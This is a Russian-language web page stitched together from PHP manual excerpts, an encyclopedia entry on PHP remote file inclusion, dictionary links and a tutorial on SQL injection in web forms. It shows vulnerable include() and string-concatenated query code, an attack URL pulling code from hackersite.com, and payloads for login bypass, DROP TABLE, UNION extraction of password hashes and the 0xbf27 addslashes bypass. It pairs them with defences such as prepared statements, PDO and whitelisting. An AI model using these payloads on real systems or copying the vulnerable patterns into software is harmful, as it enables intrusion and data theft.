Пример php инъекции через post. SQL-инъекции
Хотя по-прежнему очевидно, что взломщик должен обладать по крайней мере некоторыми знаниями о структуре базы данных чтобы провести успешную атаку, получить эту информацию зачастую очень просто. Например, если база данных является частью open-source или другого публично доступного программного пакета с инсталляцией по умолчанию, эта информация является полностью открытой и доступной. Эти данные также могут быть получены из закрытого проекта, даже если он закодирован, усложнен, или скомпилирован, и даже из вашего личного кода через отображение сообщений об ошибках. К другим методам относится использование распространенных (легко угадываемых) названий таблиц и столбцов. Например, форма логина, которая использует таблицу "users" c названиями столбцов "id", "username" и "password".
Большинство успешных атак основывается на коде, написанном без учета соответствующих требований безопасности. Не доверяйте никаким вводимым данным, особенно если они поступают со стороны клиента, даже если это списки в форме, скрытые поля или куки. Первый приведенный пример показывают, как подобные запросы могут привести к катастрофе.
- Никогда не соединяйтесь с базой данных, используя учетную запись владельца базы данных или суперпользователя. Всегда старайтесь использовать специально созданных пользователей с максимально ограниченными правами.
- используйте подготовленные выражения с привязанными переменными. Эта возможность предоставляется расширениями PDO , MySQLi и другими библиотеками.
- Всегда проверяйте введенные данные на соответствие ожидаемому типу. В PHP есть множество функций для проверки данных: начиная от простейших функций для работы с переменными и функций определения типа символов (таких как is_numeric() и ctype_digit() соответственно) и заканчивая Perl-совместимыми регулярными выражениями .
- Если на уровне базы данных не поддерживаются привязанные переменные, то всегда экранируйте любые нечисловые данные, используемый в запросах к БД при помощи специальных экранирующих функций, специфичных для используемой вами базы данных (например, mysql_real_escape_string() , sqlite_escape_string() и т.д.). Общие функции такие как addslashes() полезны только в определенных случаях (например MySQL в однобайтной кодировке с отключенным NO_BACKSLASH_ESCAPES), поэтому лучше избегать их использование.
- Ни в коем случае не выводите никакой информации о БД, особенно о ее структуре. Также ознакомьтесь с соответствующими разделами документации: "Сообщения об ошибках " и "Функции обработки и логирования ошибок ".
- Вы можете использовать хранимые процедуры и заранее определенные курсоры для абстрагированной работы с данными, не предоставляя пользователям прямого доступа к данным и представлениям, но это решение имеет свои особенности.
В случае, если приложение ожидает цифровой ввод, примените функцию ctype_digit() для проверки введенных данных, или принудительно укажите их тип при помощи settype() , или просто используйте числовое представление при помощи функции sprintf() .
Пример #5 Более безопасная реализация постраничной навигации
settype
($offset
,
"integer"
);
$query
=
"SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET
$offset
;"
;
// обратите внимание на формат %d, использование %s было бы бессмысленно
$query
=
sprintf
("SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET %d;"
,
$offset
);
?>
Помимо всего вышесказанного, вы можете логировать запросы в вашем скрипте либо на уровне базы данных, если она это поддерживает. Очевидно, что логирование не может предотвратить нанесение ущерба, но может помочь при трассировке взломанного приложения. Лог-файл полезен не сам по себе, а информацией, которая в нем содержится. Причем, в большинстве случаев полезно логировать все возможные детали.
Пример
... $module = $_GET [ "module" ] ; include ($module . ".php" ) ; ... ?>
Этот скрипт уязвим, так как к содержимому переменной $module просто прибавляется «.php» и по полученному пути подключается файл.
Взломщик может на своём сайте создать файл, содержащий PHP-код (http://hackersite.com/inc.php), и зайдя на сайт по ссылке вроде http://mysite.com/index.php?module=http://hackersite.com/inc выполнить любые PHP-команды.
Способы защиты
Существует несколько способов защиты от такой атаки:
- Проверять, не содержит ли переменная $module посторонние символы:
... $module = $_GET [ "module" ] ; if (strpbrk ($module , ".?/:" ) ) die ("Blocked" ) ; include $module . ".php" ; ... ?>
- Проверять, что $module присвоено одно из допустимых значений:
... $module = $_GET [ "module" ] ; $arr = array ("main" , "about" , "links" , "forum" ) ; if (! in_array ($module , $arr ) ) $module = $arr [ 0 ] ; include $module . ".php" ; ... ?>
Этот способ является более эффективным, красивым и аккуратным.
PHP предоставляет также возможность отключения использования удаленных файлов, это реализуется путем изменения значения опции allow_url_fopen на Off в файле конфигурации сервера php.ini .
Описанная уязвимость представляет высокую опасность для сайта и авторам PHP-скриптов не надо забывать про неё.
См. также
Ссылки
Wikimedia Foundation . 2010 .
Смотреть что такое "PHP-инъекция" в других словарях:
- … Википедия
- … Википедия
У этого термина существуют и другие значения, см. PHP (значения). PHP Семантика: мультипарадигменный … Википедия
E mail инъекция это техника атаки, используемая для эксплуатации почтовых серверов и почтовых приложений, конструирующих IMAP/SMTP выражения из выполняемого пользователем ввода, который не проверяется должным образом. В зависимости от типа… … Википедия
Внедрение SQL кода (англ. SQL injection) один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL, в зависимости от типа используемой СУБД и условий внедрения,… … Википедия
Внедрение SQL кода (англ. SQL injection) один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL, в зависимости от типа используемой СУБД и условий внедрения,… … Википедия
PHP Семантика: мультипарадигменный Тип исполнения: Интерпретатор компилирующего типа Появился в: 1995 г. Автор(ы): Расмус Лердорф Последняя версия: 4 … Википедия
В узком смысле слова в настоящее время под словосочетанием понимается «Покушение на систему безопасности», и склоняется скорее к смыслу следующего термина Крэкерская атака. Это произошло из за искажения смысла самого слова «хакер». Хакерская… … Википедия
Мы желаем вам успехов в его прохождении. Итоги вашего прохождения будут опубликованы позже (следите за новостями в соц. сетях), а также всем прошедшим в дальнейшем будет выслан инвайт для регистрации на сайте.
Ставьте лайки, делитесь с друзьями и коллегами, репостите в соц.сетях.
Все программисты читали или по крайней мере слышали о методах взлома безопасности веб-сайта. Или даже столкнулись с этой проблемой. С другой стороны, бесконечна фантазия тех, кто хочет сломать сайт, поэтому все узкие места должны быть хорошо защищены. Вот почему я хотел бы начать серию коротких статей, где будут представлены основные методы и приемы взлома веб-сайтов.
В первой статье я хотел бы описать и разъяснить некоторые общие методы взлома одного из самых уязвимых частей сайта — форм. Я буду подробно останавливаться на том, как использовать эти методы и как предотвратить атаки, а также расскажу о тестировании безопасности.
SQL инъекции
SQl-инъекция — это такая техника, когда злоумышленник вводит команды SQL в input поле на веб-странице. Этим imput`ом может быть что угодно — текстовое поле в форме, параметры _GET и _POST, cookies и т. д. Этот метод был весьма эффективным до появления фреймворков в мире PHP. Но этот способ взлома может быть по-прежнему опасен, если вы не используете ORM или какие-либо еще расширения для data object. Почему? Из-за способа передачи параметров в SQL запрос.
"Слепые" инъекции
Давайте начнем с классического примера SQL-statement`а, возвращающего пользователя по его логину и хешу от пароля (страница входа)
Пример 1
mysql_query ("SELECT id, login FROM users WHERE login = ? and password = hash(?)");Я подставил вопросительные знаки в выражение из-за различных вариаций этого решения. Первый вариант, на мой взгляд, самый уязвимый:
Пример 1а
Mysql_query("SELECT id, login FROM users WHERE login = "" . $login . "" and password = hash("" . $password . "")");
В этом случае в коде нет проверки на ввод неправильных данных. Значения передаются прямо из формы ввода в SQL запрос. В самом лучшем случае пользователь введет здесь свои логин и пароль. Что случится в худшем случае? Давайте попробуем хакнуть эту форму. Это можно сделать, передав "подготовленные" данные. Попытаемся войти как первый пользователь из базы данных, а в большинстве случаев — это админский аккаунт. Для этого, передадим специальную строку вместо ввода логина:
" OR 1=1; --
Первая кавычка может быть и одинарной, поэтому одной попыткой взлома можно не обойтись. В конце стоят точка с запятой и два дефиса, чтобы всё, что идёт после превратилось в комментарий. В результате будет выполнен следующий SQL запрос:
SELECT id, login FROM users WHERE login = “;” OR 1=1 LIMIT 0,1; - and password = hash(“;Some password”)
Он вернет первого пользователя из базы данных и, возможно, залогинится под ним в приложении. Хорошим ходом будет добавить LIMIT, чтобы входить под каждым отдельным пользователем. Это единственное, что нужно, чтобы пройти по каждому значению.
Более серьезные способы
В предыдущем примере всё не так уж страшно. Возможности в админской панели управления всегда имеют ограничения и потребуется реально много работы, чтобы поломать сайт. А вот атака через SQL инъекции может привести к куда большим повреждениям системы. Задумайтесь, сколько приложений создаются с главной таблицей "users" , и что будет, если злоумышленник введет такой код в незащищённую форму:
My favorite login"; DROP TABLE users; --
Таблица "users" будет удалена. Это одна из причин почаще делать бэкапы баз данных.
_GET параметры
Все параметры, заполненные через форму, передаются на сервер одним из двух методов — GET или POST. Наиболее распространенный параметр, передаваемый через GET — id. Это одно из самых уязвимых мест для атак, при этом неважно, какого вида урл вы используете — ` http://example.com/users/?id=1 `, или ` http://example.com/users/1 `, или ` http://......./.../post /35 `.
Что произойдет, если мы подставим в урл следующий код?
Http://example.com/users/?id=1 AND 1=0 UNION SELECT 1,concat(login,password), 3,4,5,6 FROM users WHERE id =1; --
Вероятно, такой запрос вернет нам логин пользователя и... хеш от его пароля. Первая часть запроса `AND 1=0` превращает то, что перед ним в false, соответственно никаких записей не будет получено. А вторая часть запроса вернет данные в виде prepared data. А так как первым параметром идет id, следующим будет логин пользователя и хеш его пароля и еще сколько-то параметров. Существует множество программ, с помощью брутфорса декодирующих такой пароль, как в примере. А так как пользователь может использовать один и тот же пароль для разных сервисов, можно получить доступ и к ним.
И вот что любопытно: от такого способа атаки совершенно невозможно защититься методами вроде `mysql_real_escape_string`, `addslashes` и.т. д. В принципе, нет способа избежать такой атаки, поэтому, если параметры будут передаваться так:
"SELECT id, login, email, param1 FROM users WHERE id = " . addslashes($_GET["id"]);"
проблемы не исчезнут.
Экранирование символов в строке
Когда я был новичком в программировании, мне было тяжело работать с кодировками. Я не понимал, в чем между ними различие, зачем использовать UTF-8, когда нужно UTF-16, почему база данных постоянно устанавливает кодировку в latin1. Когда я наконец начал всё это понимать, то обнаружил, что проблем станет меньше, если хранить всё в одном стандарте кодирования. Разбираясь со всем этим, я заметил также и проблемы безопасности, возникающие при преобразовании из одной кодировки в другую.
Проблем, описанных в большинстве предыдущих примеров, можно избежать, используя одинарные кавычки в запросах. Если вы используете addslashes() , атаки через SQL-инъекции, построенные на использовании одинарных кавычек, экранируемых обратным слэшем, потерпят неудачу. Но такая атака может пройти, если просто подставить символ с кодом 0xbf27 , addslashes() преобразует его в символ с кодом 0xbf5c27 - а это вполне валидный символ одинарной кавычки. Другими словами, `뼧` пройдет через addslashes() , а потом маппинг MySQL конвертирует его в два символа 0xbf (¿) и 0x27 (‘).
"SELECT * FROM users WHERE login = ""; . addslashes($_GET["login"]) . ";"";
Этот пример можно хакнуть, передав 뼧 or 1=1; -- в поле логина в форме. Движок SQL сгенерит конечный запрос так:
SELECT * FROM users WHERE login = "¿" OR 1=1; --
И вернет первого пользователя из БД.
Защита
Как же защитить приложение? Есть куча способов, применение которых не сделает приложение совсем неуязвимым, но хотя бы повысит его защищенность.
Использование mysql_real_escape_string
Функция addslashes() ненадежна, так как не предусматривает многие случаи взлома. У mysql_real_escape_string нет таких проблем
Использование MySQLi
Это расширение для MySQL умеет работать со связанными параметрами:
$stmt = $db->prepare("update uets set parameter = ? where id = ?"); $stmt->bind_param("si", $name, $id); $stmt->execute();
Использование PDO
Длинный способ подстановки параметров:
$dbh = new PDO("mysql:dbname=testdb;host=127.0.0.1", $user, $password); $stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (:name, :value)"); $stmt->bindParam(":name", $name); $stmt->bindParam(":value", $value); // insert one row $name = "one"; $value = 1; $stmt->execute();
Короткий способ:
$dbh = new PDO("mysql:dbname=testdb;host=127.0.0.1", $user, $password); $stmt = $dbh->prepare("UPDATE people SET name = :new_name WHERE id = :id"); $stmt->execute(array("new_name" => $name, "id" => $id));
Использование ORM
Используйте ORM и PDO и связывайте (используйте bind) параметры. Избегайте SQL в коде, если вы видите в коде SQL, значит, с ним что-то не так.
ORM позаботится о безопасности в самых узких местах в коде и о валидации параметров.
Выводы
Цель этой серии не предоставить полное руководство по взлому сайтов, а обеспечить безопасность приложения и предотвращение атак из любого источника. Я постарался написать эту статью не только для программистов — они должны быть в курсе любых угроз в коде и знать пути, как предотвратить их, но также и для инженеров по качеству — потому, что их работа заключается в том, чтобы отследить и сообщить такие моменты.